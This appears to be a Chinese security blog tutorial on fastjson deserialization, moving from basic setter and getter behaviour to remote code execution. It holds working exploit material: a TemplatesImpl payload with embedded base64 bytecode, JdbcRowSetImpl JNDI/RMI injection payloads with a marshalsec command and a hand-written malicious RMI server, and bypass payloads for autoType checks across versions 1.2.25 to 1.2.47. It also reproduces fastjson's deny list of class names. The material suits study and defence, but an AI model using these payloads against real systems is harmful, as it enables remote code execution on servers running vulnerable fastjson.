从零开始学习fastjson反序列化
2022-04-07 15:55:00 # Java

从零开始学习fastjson反序列化

一、什么是fastjson?

fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种”假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

二、fastjson使用简介

用来实现Java对象与JSON字符串的相互转换,比如:

1
2
3
4
5
User user = new User();
user.setUserName("Le1a");
user.setAge(20);
user.setSex("男");
String userJson = JSON.toJSONString(user);

输出结果:

1
{"age":20,"sex":"男","userName":"Le1a"}

以上将对象转换为JSON字符串的操作成为序列化,将JSON字符串实例化为Java对象的操作成为反序列化。

三、fastjson反序列化机制

Case1:

User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}

public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}

public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}

public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}

public void setSex(String sex) {
System.out.println("setSex:" + sex);
this.sex = sex;
}
}

执行反序列化:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
}
}

执行结果:

1
2
3
4
User construct
setAge:20
setSex:
setUserName:Le1a

这个执行结果说明了: fastjson在反序列化的时候会调用这个类的setter方法。那如果没有setter方法,还能正确赋值吗?

所以接下来看第二种机制。

Case2:

User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class User{
public int age;
public String userName;
public String sex;
public User() {
System.out.println("User construct");

}

public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}
}

执行反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.age);
System.out.println("setSex:" + user.sex);
System.out.println("userName:" + user.userName);
}
}

执行结果:

1
2
3
4
User construct
age:20
setSex:男
userName:Le1a

发现没有setter方法的时候,fastjson也会对Field正确赋值,但是前提条件是Field必须为public属性。如果不是public属性也没有setter方法呢?接着来看另一种方法!

Case3:

将Field 属性改为私有,不提供setter

User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}

public String getUserName() {
return userName;
}
public int getAge() {
return age;
}
public String getSex() {
return sex;
}
}

执行反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class);
System.out.println("age:" + user.getAge());
System.out.println("setSex:" + user.getSex());
System.out.println("userName:" + user.getUserName());
}
}

image-20220407164429700

输出结果为:

1
2
3
4
User construct
age:0
setSex:null
userName:null

发现并没有对Field进行赋值,打印出来的都是Field的默认初始值。以上说明对于不可见Field且未提供setter方法,fastjson默认不会赋值。

将反序列化代码修改为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.*;

public class Ser1 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
User user = JSON.parseObject(jsonstr, User.class,Feature.SupportNonPublicField);
System.out.println("age:" + user.getAge());
System.out.println("setSex:" + user.getSex());
System.out.println("userName:" + user.getUserName());
}
}

image-20220407165105570

输出结果为:

1
2
3
4
User construct
age:20
setSex:
userName:Le1a

可见: 对于未提供setter的私有Field,fastjson在反序列化时需要显式提供参数Feature.SupportNonPublicField才会正确赋值。

四、漏洞原理

fastjson支持使用@type来指定反序列化的目标类,如下演示:

User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class User{
private int age;
private String userName;
private String sex;
public User() {
System.out.println("User construct");
}

public String getUserName() {
System.out.println("getUserName");
return userName;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public String getSex() {
System.out.println("getSex");
return sex;
}

public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}

public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}

public void setSex(String sex) {
System.out.println("setSex:" + sex);
this.sex = sex;
}
}

执行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;

public class Ser2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"@type\":\"Evil\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}";
Object user = JSON.parseObject(jsonstr);
}
}

执行结果为:

1
2
3
4
5
6
7
User construct
setAge:20
setSex:
setUserName:Le1a
getAge
getSex
getUserName

JSON字符串@type的值为User,也就指定了要将此JSON字符串实例化为User对象,在此过程中fastjson不仅调用了setter也调用了getter。

假设这个@type指向一个恶意类,那是不是就能触发恶意代码呢?

我们来写一个Evil

1
2
3
4
5
6
7
8
9
10
public class Evil {
static {
System.err.println("Hacker!!!");
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

image-20220407170934182

成功执行了恶意命令,实际应用中肯定很难找到像Evil这种代码,攻击者要想办法通过现有的让JVM加载构造的恶意类,就得来构造Gadget。

五、漏洞利用

1.TemplatesImpl

利用fastjson反序列化后会调用属性的getter,可以使用之前学习的TemplatesImpl。

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.plugin.com.JavaClass;

import java.lang.reflect.Method;

public class Shell extends AbstractTranslet {
public Shell() throws Exception{
Class runtime = Class.forName("java.lang.Runtime");
Method exec = runtime.getMethod("exec", String.class);
Method getruntime = runtime.getMethod("getRuntime");
Object r = getruntime.invoke(runtime);
exec.invoke(r,"calc");
System.out.println("Hacker!!!");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.alibaba.fastjson.parser.ParserConfig;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.Base64;

public class TemplatesImpl {
public static void main(String[] args) throws Exception {
ParserConfig config = new ParserConfig();
String base64Evil = fileToBase64("D:\\Cc\\IntelliJ IDEA 2021.1\\Fastjson\\target\\classes\\Shell.class");
//System.out.println(base64Evil);
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAUAoAEAAvCAAwCgAFADEIABoHADIHADMKAAUANAgANQcANgoANwA4CAA5CQA6ADsIADwKAD0APgcAPwcAQAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTFNoZWxsOwEAB3J1bnRpbWUBABFMamF2YS9sYW5nL0NsYXNzOwEABGV4ZWMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACmdldHJ1bnRpbWUBAAFyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAQQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAEIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIBABFqYXZhLmxhbmcuUnVudGltZQwAQwBEAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwARQBGAQAKZ2V0UnVudGltZQEAEGphdmEvbGFuZy9PYmplY3QHAEcMAEgASQEABGNhbGMHAEoMAEsATAEAD0hhY2tlcu+8ge+8ge+8gQcATQwATgBPAQAFU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAA8AEAAAAAAAAwABABEAEgACABMAAAC3AAYABQAAAEkqtwABEgK4AANMKxIEBL0ABVkDEgZTtgAHTSsSCAO9AAW2AAdOLSsDvQAJtgAKOgQsGQQEvQAJWQMSC1O2AApXsgAMEg22AA6xAAAAAgAUAAAAIgAIAAAACwAEAAwACgANABoADgAlAA8AMAAQAEAAEQBIABIAFQAAADQABQAAAEkAFgAXAAAACgA/ABgAGQABABoALwAaABsAAgAlACQAHAAbAAMAMAAZAB0AHgAEAB8AAAAEAAEAIAABACEAIgACABMAAAA/AAAAAwAAAAGxAAAAAgAUAAAABgABAAAAFgAVAAAAIAADAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACUAJgACAB8AAAAEAAEAJwABACEAKAACABMAAABJAAAABAAAAAGxAAAAAgAUAAAABgABAAAAGwAVAAAAKgAEAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACkAKgACAAAAAQArACwAAwAfAAAABAABACcAAQAtAAAAAgAu\"],\"_name\" : \"a\",\"_tfactory\" : {},\"outputProperties\" : {}}";
System.out.println(payload);

}

public static String fileToBase64(String path) throws Exception{
String base64Result=null;
InputStream inputStream = null;

File file = new File(path);
inputStream = new FileInputStream(file);
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes,0,inputStream.available());
base64Result = new String(Base64.getEncoder().encode(bytes));
return base64Result;
}

}

成功执行命令。_bytecodes是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。

image-20220407203535843

2.JNDI注入

2.1RMI

反序列化Gadget主流都是使用JNDI,现阶段都是在利用根据JNDI特征自动化挖掘Gadget。

com.sun.rowset.JdbcRowSetImpl这个类有两个set方法,分别是setDataSourceName()setAutoCommit(),我们看一下相关实现:

setDatasourceName

1
2
3
4
5
6
7
8
9
10
11
12
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

setAutoCommit

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

这里的setDataSourceName就是设置了dataSourceName,然后在setAutoCommit中进行了connect操作,我们跟进看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

可以看到这里connect方法中有典型的jndilookup方法调用,且参数就是我们在setDataSourceName中设置的dataSourceName,来构造一下payload,dataSourceName的值为我们恶意的rmi对象

1
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}
工具启动RMI服务

这里有一款工具: https://github.com/RandomRobbieBF/marshalsec-jar

先将恶意Evil类部署到http服务上,可以直接使用python -m http.server。我这里就直接部署到公网上了,然后使用如下命令快速搭建一个rmi服务器,并把恶意的远程对象注册到上面

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:端口/#Evil

这样rmi服务就快速搭起来了,运行一下,成功弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;

public class SerJndi {
public static void main(String[] args) throws IOException, ClassNotFoundException {

String jsonstr = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://IP:1099/Evil\", \"autoCommit\":true}}";
JSON.parseObject(jsonstr,Feature.SupportNonPublicField);
}
}

image-20220408171459320

image-20220408171424438

手动启动RMI服务

同样先将恶意Evil类部署到http服务上,直接使用python -m http.server 8000,然后创建JNDIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit","Evil","http://127.0.0.1:8000/");
//第一个参数是
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。

这里为了防止本地触发恶意代码,就选择了通过References类绑定远程对象。第一个参数是开启rmi服务后的恶意类名,第二个参数是恶意类本体,第三个参数是远程对象的URL。

image-20220517195233145

服务端JNDIClient

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
}

image-20220517195726154

2.2LADP

六、Fastjson各版本绕过

1.2.24

Fastjson 1.2.25之前版本,只是通过黑名单限制哪些类不能通过@type指定。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplcom.sun.rowset.JdbcRowSetImpl都不在黑名单中,可以直接完成攻击,代码参考上文。

1.2.25

1.2.25版本修复了这个漏洞,添加了配置项setAutoTypeSupport,并且使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。

当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。

com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.apache.xalan
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

image-20220517211033490

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//类名是否为空
if (typeName == null) {
return null;
//类全路径是否超过128字符
} else if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
int mask;
String accept;
//如果支持AutoType功能会进入这个if判断
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}

for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
//是否不支持AutoType功能
if (!this.autoTypeSupport) {
//先匹配黑名单
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
//进行黑名单过滤,抛出异常
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

//再从白名单找
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

//省略部分代码......
}
}

当autoTypeSupport 为 False 时,先黑名单过滤,然后再匹配白名单,如果白名单没匹配到则报错,所以必须配置有白名单,才能进行loadClass操作。

当 autoTypeSupport 为 True 时,首先进行白名单过滤,如果在白名单上则直接loadClass,否则进行黑名单过滤。

img

这里判断如果className是以L开头,并以;结尾,那么去除开头的L以及末尾的;,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。

所以当开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true);时我们可以在@type处对指定类名进行改造,在JdbcRowSetImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号,就可以绕过了。

image-20220517214336927

1.2.42

1.2.42版本将黑名单denyList替换成了denyHashCodes,fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过,增加了绕过的困难程度。checkAutoType函数会从className中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类提取出来,然后把前后的字符L;都去掉,然后再进行哈希黑名单过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}

//计算className的哈希值
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
//进行白名单过滤
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//进行哈希黑名单过滤,如果匹配到则抛出异常
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//省略部分代码......

} else {
throw new JSONException("autoType is not support. " + typeName);
}
}

但是只提取了一次,所以我们可以通过双写绕过。

1
LLcom.sun.rowset.JdbcRowSetImpl;;

image-20220518091343620

1.2.43

1.2.43版本对1.2.42版本的绕过进行了修复,首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

因为1.2.42版本的payload已无法利用,因此我们需要另寻突破口,在TypeUtils类的loadClass方法中会对className进行校验

image-20220518100255292

这里className[开头,然后通过substring去掉[,然后进行loadClass

那么可以对payload进行改造,在类前面加一个“[”字符,这样就可以绕过checkAutoType函数的过滤,如下所示:

1
[com.sun.rowset.JdbcRowSetImpl

再次运行程序还是会报错,根据抛出的异常来看,是在调用DefaultJSONParser类的parseArray方法时抛出的异常

image-20220518102545227

打上断点调试,发现会判断token的值,如果不为14,则会抛出异常。

image-20220518185839142

这里调试可以发现我们的token是16,那么token是由什么决定的呢?在[if处下个断点调试(有个坑点就是刚开始调试传入的className并不是我们的JDBC,而是java.lang.AutoCloseable,所以光标点到if判断里面,然后强行进入if语句里面)

image-20220518193841099

此时传入的类是[com.sun.rowset.JdbcRowSetImpl。来看一下nextToken()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
public final void nextToken() {
this.sp = 0;

while(true) {
while(true) {
this.pos = this.bp;
if (this.ch != '/') {
if (this.ch == '"') {
this.scanString();
return;
}

if (this.ch == ',') {
this.next();
this.token = 16;
return;
}

if (this.ch >= '0' && this.ch <= '9') {
this.scanNumber();
return;
}

if (this.ch == '-') {
this.scanNumber();
return;
}
switch(this.ch) {
case '\b':
case '\t':
case '\n':
case '\f':
case '\r':
case ' ':
this.next();
break;
case '\'':
if (!this.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("Feature.AllowSingleQuotes is false");
}

this.scanStringSingleQuote();
return;
case '(':
this.next();
this.token = 10;
return;
case ')':
this.next();
this.token = 11;
return;
case '+':
this.next();
this.scanNumber();
return;
case '.':
this.next();
this.token = 25;
return;
case ':':
this.next();
this.token = 17;
return;
case ';':
this.next();
this.token = 24;
return;
case 'N':
case 'S':
case 'T':
case 'u':
this.scanIdent();
return;
case '[':
this.next();
this.token = 14;
return;
case ']':
this.next();
this.token = 15;
return;
case 'f':
this.scanFalse();
return;
case 'n':
this.scanNullOrNew();
return;
case 't':
this.scanTrue();
return;
case 'x':
this.scanHex();
return;
case '{':
this.next();
this.token = 12;
return;
case '}':
this.next();
this.token = 13;
return;

nextToken方法会判断ch的值,然后根据ch的值设置token,在调试分析中ch的值是json数据中第一个逗号出现的位置(固定从这个位置取值),我们需要把token的值设置为14来绕过DefaultJSONParser类的parseArray方法。所以在第一个逗号出现的位置前面加[

image-20220518201242230

image-20220518201315160

此时的token就为14了,尝试打一下,发现有了新的异常。

image-20220518201516388

说是在43索引(第一个逗号)的位置还缺一个{,把{加上即可成功绕过

payload:

1
"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}"

image-20220518202109959

1.2.45

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1389/Evil"
}
}

1.2.47

Fastjson从1.2.25开始,添加了配置项setAutoTypeSupport以及白名单,进一步限制@type的使用,默认该配置项关闭。如果配置项是关闭状态,那么只允许白名单内的类才能通过@type指定。

此时com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已经在黑名单中了,

image-20220517204511214

但是存在绕过方式,不需要setAutoTypeSupport为true。如果先传入如下JSON进行反序列化:

1
2
3
4
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}

java.lang.Class是在白名单中的,反序列化后com.sun.rowset.JdbcRowSetImpl就会被加入到白名单中,剩下的就和1.2.24相同了,直接把两部分整合到一起:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Exploit",
"autoCommit": true
}
}

image-20220517204821200

成功绕过!

原理分析: https://blog.csdn.net/qq_34101364/article/details/111706189 之后来学!!!

1.2.68

1.2.68这个版本加入了新的安全控制点safeMode,如果应用程序开启safeMode,将在checkAutoType()中直接抛出异常,完全禁止了autoType

1653549558525.png

但是这个版本爆出了可以通过expectClass绕过 checkAutoType()

1653550793211.png

  • isAssignableFrom的作用

有两个Class类型,一个是调用isAssignableFrom方法的类对象(也就是这里的expectClass),以及方法中作为参数的这个类对象(传入的类),这两个对象如果满足以下条件则返回true,否则返回false:

  1. expectClassclazz对象的父类或者是父接口
  2. expectClass和clazz是同一个类或者同一个接口

checkAutoType()函数中,如果传入了expectClass,且传入的类的名字如果是HashMap或者是expectClass的子类或者实现就可以通过checkAutoType()的安全检测。

现在看看哪些地方使用传入了expectClass这个参数

1653553819286.png

